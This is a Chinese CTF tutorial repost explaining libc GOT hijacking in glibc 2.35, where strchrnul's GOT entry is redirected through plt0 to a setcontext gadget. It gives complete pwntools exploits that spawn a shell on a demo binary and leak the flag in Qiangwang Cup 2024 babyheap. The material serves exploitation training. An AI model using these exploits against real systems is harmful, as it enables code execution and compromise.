libc-got攻击手法-1

admin 2024年11月21日13:54:02评论5 views字数 8912阅读29分42秒阅读模式

这是一个很新的攻击手法,来自veritas501师傅,在去年的十二月提出的一种利用方式,

本文就是针对这位师傅的文章,进行一些攻击的总结

原理

libc-got攻击手法-1
这个libc使用的是ubuntu22.04自带的glibc2.35

libc-got攻击手法-1

可以看到,libc的保护措施,got表是可写的,而libc里面,确实会存在got表

libc-got攻击手法-1

而正如保护措施所展示,我们的got表是可写的,那这个libc的got表又是什么东西呢

我们以printf为例

__int64 printf(__int64 a1, ...)
{
gcc_va_list va; // [rsp+0h] [rbp-D8h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-C0h]

va_start(va, a1);
v3 = __readfsqword(0x28u);
return sub_75030(stdout, a1, va, 0LL);
}

这里就不放汇编了,因为太长,那么在调用printf的时候,就会调用sub_75030函数,我们进入这个函数看看

libc-got攻击手法-1

而这个函数相当于一个注册表,特别复杂,别的都不需要管,只需要知道,这个函数最后调用了strchrnul

而调用这个函数,就会调用到它的plt和got

libc-got攻击手法-1

这给了我们创造一个利用机会

大家都知道延迟绑定机制,在elf文件里面都是相同的,libc也是一个相同的延迟绑定机制,这里复习一下glibc的延迟绑定,在 glibc 中,.got.plt 表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(例如 printf)的地址,以便程序可以动态加载和调用库函数。每次程序调用库函数时,.plt 段会从 .got.plt 中获取目标地址并跳转。

而这个位置又是受到plt0的控制

libc-got攻击手法-1

也就是这里,此处push的值和jmp的地址都是从GOT0中取出来的

libc-got攻击手法-1

可以受我们控制。

这里再介绍一下setcontext函数

.text:0000000000053A00                 pop     rdx
.text:0000000000053A01 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07 jnb loc_53B2F
.text:0000000000053A0D mov rcx, [rdx+0E0h]
.text:0000000000053A14 fldenv byte ptr [rcx]
.text:0000000000053A16 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D mov rsp, [rdx+0A0h]
.text:0000000000053A24 mov rbx, [rdx+80h]
.text:0000000000053A2B mov rbp, [rdx+78h]
.text:0000000000053A2F mov r12, [rdx+48h]
.text:0000000000053A33 mov r13, [rdx+50h]
.text:0000000000053A37 mov r14, [rdx+58h]
.text:0000000000053A3B mov r15, [rdx+60h]
.text:0000000000053A3F test dword ptr fs:48h, 2
.text:0000000000053A4B jz loc_53B06

.text:0000000000053B06 loc_53B06:
.text:0000000000053B06 mov rcx, [rdx+0A8h]
.text:0000000000053B0D push rcx
.text:0000000000053B0E mov rsi, [rdx+70h]
.text:0000000000053B12 mov rdi, [rdx+68h]
.text:0000000000053B16 mov rcx, [rdx+98h]
.text:0000000000053B1D mov r8, [rdx+28h]
.text:0000000000053B21 mov r9, [rdx+30h]
.text:0000000000053B25 mov rdx, [rdx+88h]
.text:0000000000053B2C xor eax, eax
.text:0000000000053B2E retn

这个函数在不同的版本有些不同,但是所差的不是很多,函数最开始是一个pop,这也就和上面的push对上了

例题

我们再来总结一下利用的思路

#include <stdio.h>
#include <unistd.h>

int main() {
char *addr = 0;
size_t len = 0;
printf("%pn", printf);
read(0, &addr, 8);
read(0, &len, 8);
read(0, addr, len);
printf("n132");
}

以这道题为例

步骤 1:劫持 strchrnul.plt 的跳转

printf 函数调用时会间接地调用 strchrnul.plt,它从 strchrnul.got 表中获取 strchrnul 函数的地址。如果我们修改 strchrnul.got 表,使其指向 plt0 的起始地址(即 .plt 的入口地址 0x28000),那么每次调用 printf 时,程序实际上会跳转到 plt0 而不是 strchrnul

步骤 2:修改 GOT0 条目

plt0 的代码如下:

.plt:0000000000028000                 push    cs:qword_219008
.plt:0000000000028006 bnd jmp cs:qword_219010

在 plt0 中,第一个指令是 push cs:qword_219008,即将 GOT0 的值压入栈中,而这个栈顶值会被 setcontext 的 pop rdx 所利用。因此,我们可以将 GOT0 修改为某个未使用的内存位置,以便我们可以在该位置布置 setcontext 需要的上下文数据。

随后,plt0 的第二个指令是 jmp cs:qword_219010。我们可以将 GOT0 的第二个条目修改为 setcontext gadget 的地址(例如 0x53A00),这样每次 printf 被调用时,程序将跳转到 setcontext gadget 并执行。

步骤 3:在未使用的内存空间中构造 setcontext 需要的上下文

在 GOT 表未使用的一块内存空间中,我们可以布置 setcontext 需要的上下文结构,包括 rspriprdirsi 和 rdx 等寄存器的值。例如:

  • 将 rsp 设置为某个位置,使得程序跳转后能继续执行。

  • 将 rip 设置为我们想要执行的函数(例如 execve),从而获得一个 shell。

  • 设置 rdirsi 和 rdx,以便调用 execve("/bin/sh", NULL, NULL),启动一个 shell。

步骤 4:触发 printf 调用,执行 setcontext

最后,调用 printf 函数来触发 strchrnul.plt 劫持程序流。由于 strchrnul.got 表已经被我们修改,程序将跳转到 plt0,进而调用 setcontext gadget,并执行我们布置的上下文,从而实现远程代码执行(RCE)。

我们来看看怎么写exp

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./demo")
elf=ELF("./demo")
libc.address=int(io.recv(14),16)-libc.sym['printf']
print(hex(libc.address))

我们先拿到程序的libc地址

got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr

# 计算 write_dest 和 context_dest
write_dest = got + 8
got_count = 0x36 # 硬编码数量
context_dest = write_dest + 0x10 + got_count * 8

然后是got和plt地址,以及写入位置,当然这里还需要解释一下这两个地址的具体含义

write_dest = got + 8

  • got 是 .got.plt(Global Offset Table)的起始地址,got + 8 是跳过 GOT 表的前 8 个字节,选择一个新的位置作为写入的目标地址 write_dest

  • 这个地址通常会用作将 payload 写入的地方。

got_count = 0x36

  • got_count 是一个硬编码的数量,表示 .plt 表中函数的数量,或者 .got 表中实际被占用的条目数量(在这种情况下是 0x36,即 54 个条目)。

  • 这个数量会影响我们要构造多少条目的数据。

context_dest = write_dest + 0x10 + got_count * 8

  • context_dest 是 setcontext 的伪造上下文结构的存放位置。

  • 具体计算如下:

    • 每个 plt 表条目占用 8 个字节,所以这里 got_count * 8 是为了确保我们构造的伪造数据不与 GOT/PLT 表的数据冲突。

    • write_dest + 0x10 是为了跳过 write_dest 后的 16 个字节空间,这样可以避免冲突或覆盖。

    • got_count 8 是在 write_dest + 0x10 的基础上,再向后偏移 got_count 8字节的空间。

  • context_dest 最终是 write_dest 之后一段足够大的地址,用于放置 setcontext 需要的伪造上下文数据。

然后写我们的payload

ucontext_structure = flat({
0x28: libc.sym['environ'] + 8, # r8
0x30: 0, # r9
0x48: 0, # r12
0x50: 0, # r13
0x58: 0, # r14
0x60: 0, # r15
0x68: next(libc.search(b"/bin/sh")), # rdi ("/bin/sh" 字符串地址)
0x70: 0, # rsi
0x78: 0, # rbp
0x80: 0, # rbx
0x88: 0, # rdx
0x98: 0, # rcx
0xA0: libc.sym['environ'] + 8, # rsp (栈指针)
0xA8: libc.sym['execve'], # rip (ret ptr)
0xE0: context_dest, # fldenv ptr (上下文环境地址)
0x1C0: 0x1F80, # ldmxcsr 控制寄存器的值
}, filler=b'x00', word_size=64)

这里先布置好setcontext的结构体函数

payload = flat(
context_dest, # 上下文地址
libc.symbols["setcontext"] + 32, # setcontext 的地址偏移
[plt0] * got_count, # 重复 plt0 多次
ucontext_structure # 手动构建的 ucontext 结构
)

然后发送过去

io.send(p64(write_dest))
io.send(p64(len(payload)))
io.send(payload)

libc-got攻击手法-1

这样就拿到了shell

我们来gdb调试看看

libc-got攻击手法-1

然后看我们输入的位置

libc-got攻击手法-1

那这里

libc-got攻击手法-1

就是我们的plt表附近

当我们输入完成之后,再次调用printf的时候

libc-got攻击手法-1

就会产生跳转,最后get shell

强网杯2024-babyheap

其实这个题目和上面说的不太一样,只是因为确实利用到了改got表的攻击,所以这里依然提到了

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_177E(a1, a2, a3);
sub_1681();
sub_1409();
while ( 1 )
{
sub_1616("Menu:n");
sub_1616("1. Add commodityn");
sub_1616("2. Delete commodityn");
sub_1616("3. Edit commodityn");
sub_1616("4. Show commodityn");
sub_1616("5. Secret Envn");
sub_1616("Enter your choice: n");
__isoc99_scanf("%d", &v3);
sub_1616("---------------------------------------------------------------n");
switch ( v3 )
{
case 1:
sub_17C5();
break;
case 2:
sub_1922();
break;
case 3:
sub_1B1D();
break;
case 4:
sub_19FD();
break;
case 5:
sub_1DAA();
break;
default:
sub_1C99();
sub_1616("Maybe you've done something bad n");
sub_1616("But how can you cat flag ? n");
break;
}
}
}

程序的主要逻辑基本就是这样,简单梳理一下,题目存在申请任意大小的堆块

但是最多申请五个,在delete函数里面存在uaf,show函数不会x00截断

在deafult里面的1c99里面存在一个任意地址写

__int64 sub_1C99()
{
if ( dword_5068 )
exit(1);
sub_1616("Wow ! You find my secret shop !n");
sub_1616("But ! It's not so easy to get my secret n");
sub_1616(" /\_/\n");
sub_1616(" ( o.o ) n");
sub_1616(" > ^ < n");
sub_1616("Input your target addr n");
read(0, &buf, 8uLL);
sub_1C33();
read(0, buf, 0x10uLL);
return (unsigned int)++dword_5068;
}

但是在1c33这个函数里面

void *sub_1C33()
{
void *result; // rax

if ( stdin <= buf && &stdin[512] > buf )
exit(1);
result = buf;
if ( &stdin[-2206368] > buf )
exit(1);
return result;
}

存在一个检查,这个检查会看你的任意地址是不是在io结构体附近,这样也就堵住了任意地址写io的操作,这题当然可以使用io的打法,但是题目里面还有一个函数

unsigned __int64 sub_1DAA()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_506C )
{
sub_1616("What ! Are you kidding me ? n");
exit(1);
}
dword_506C = 1;
sub_1616("What do you want from the environment ? n");
sub_1616("Maybe you will be sad !n");
__isoc99_scanf("%d", &v1);
if ( v1 == 3 )
{
setenv("USER", "flag?", 1);
}
else
{
if ( v1 > 3 )
goto LABEL_11;
if ( v1 == 1 )
{
sub_1D5D();
}
else
{
if ( v1 != 2 )
LABEL_11:
exit(1);
putenv("USER=flag?");
}
}
return v2 - __readfsqword(0x28u);
}

在选择5里面会存在这些函数,其中的重点是putenv函数

putenv 函数是一个用于设置或修改环境变量的 C 标准库函数。它的功能是将指定的环境变量加入到当前进程的环境中,或修改已有的环境变量。

在 <stdlib.h> 头文件中声明:

int putenv(char *string);

string 是一个指向 "name=value" 格式字符串的指针,name 是环境变量的名称,value 是该变量的值。

putenv 不会复制传入的字符串,而是直接使用该字符串的地址。因此,修改传入的字符串会影响环境变量的内容。

putenv 的实现依赖于修改进程的环境变量表(environ 数组)。具体实现可能会根据系统和 C 库的不同有所变化,但通常的流程如下:

  1. 解析输入字符串:检查输入的字符串是否为 "name=value" 格式,确保变量名和赋值内容有效。

  2. 搜索和替换

    • 如果环境变量表中已有同名变量,则将该变量的值替换为新值。

    • 如果没有该变量,则创建一个新的 "name=value" 字符串并添加到环境变量表中。

  3. 扩展环境变量表(如果需要):

    • 在某些实现中,如果环境变量表已经满了,putenv 可能会重新分配内存,扩展 environ 数组。

    • 例如,glibc 中的实现会动态调整 environ 数组的大小,以适应新的变量。

注意事项

  • putenv 会直接使用传入的字符串指针,因此不要在调用 putenv 之后修改该字符串。

  • putenv 修改环境变量的效果仅限于当前进程及其子进程,不会影响父进程或其他进程。

当然以上我们只是简单介绍一下

重点其实是getenv函数内部是依靠strncmp函数实现的,那么我们只要把strncmp函数的got改成printf函数,就可以带出flag文件

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

io = process(
["/home/pwn/game/qwb24/babyheap/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/game/qwb24/babyheap/libc-2.35.so"},
)

libc = ELF("libc-2.35.so")


def dbg():
gdb.attach(io)


def add(size):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(1))
io.recvuntil(b"Enter your commodity size n")
io.sendline(str(size))


def free(idx):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(2))
io.recvuntil(b"Enter which to delete: n")
io.sendline(str(idx))


def edit(idx, content):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(3))
io.recvuntil(b"Enter which to edit: n")
io.sendline(str(idx))
io.recvuntil(b"Input the contentn")
io.sendline(content)


def show(idx):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(4))
io.recvuntil(b"Enter which to show: n")
io.sendline(str(idx))


def sec(idx):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(5))
io.recvuntil(b"Maybe you will be sad !n")
io.sendline(str(idx))


def mi(addr, content):
io.recvuntil(b"Enter your choice: n")
io.sendline(str(6))
io.recvuntil(b"Input your target addr n")
io.send(addr)
io.send(content)


add(0x518) # 1
add(0x500) # 2
free(1)
add(0x528) # 3
show(1)
libc.address = u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) - 0x21B110
info("libc base: " + hex(libc.address))
io.recv(10)
heap_base = u64(io.recv(6).ljust(8, b"x00")) - 0x1950
info("heap base: " + hex(heap_base))
strncmp_got = libc.address + 0x21A018 + (0x8 * 32)
mi(p64(strncmp_got), p64(libc.sym["printf"]))
sec(2)
# dbg()
io.interactive()

转自 

https://xz.aliyun.com/t/16176?u_atoken=f3ac0cb50460ae81da9f9da1fe0d16ed&u_asig=1a0c384917316920456715210e0114

原文始发于微信公众号(船山信安):libc-got攻击手法-1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:54:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   libc-got攻击手法-1https://cn-sec.com/archives/3398592.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息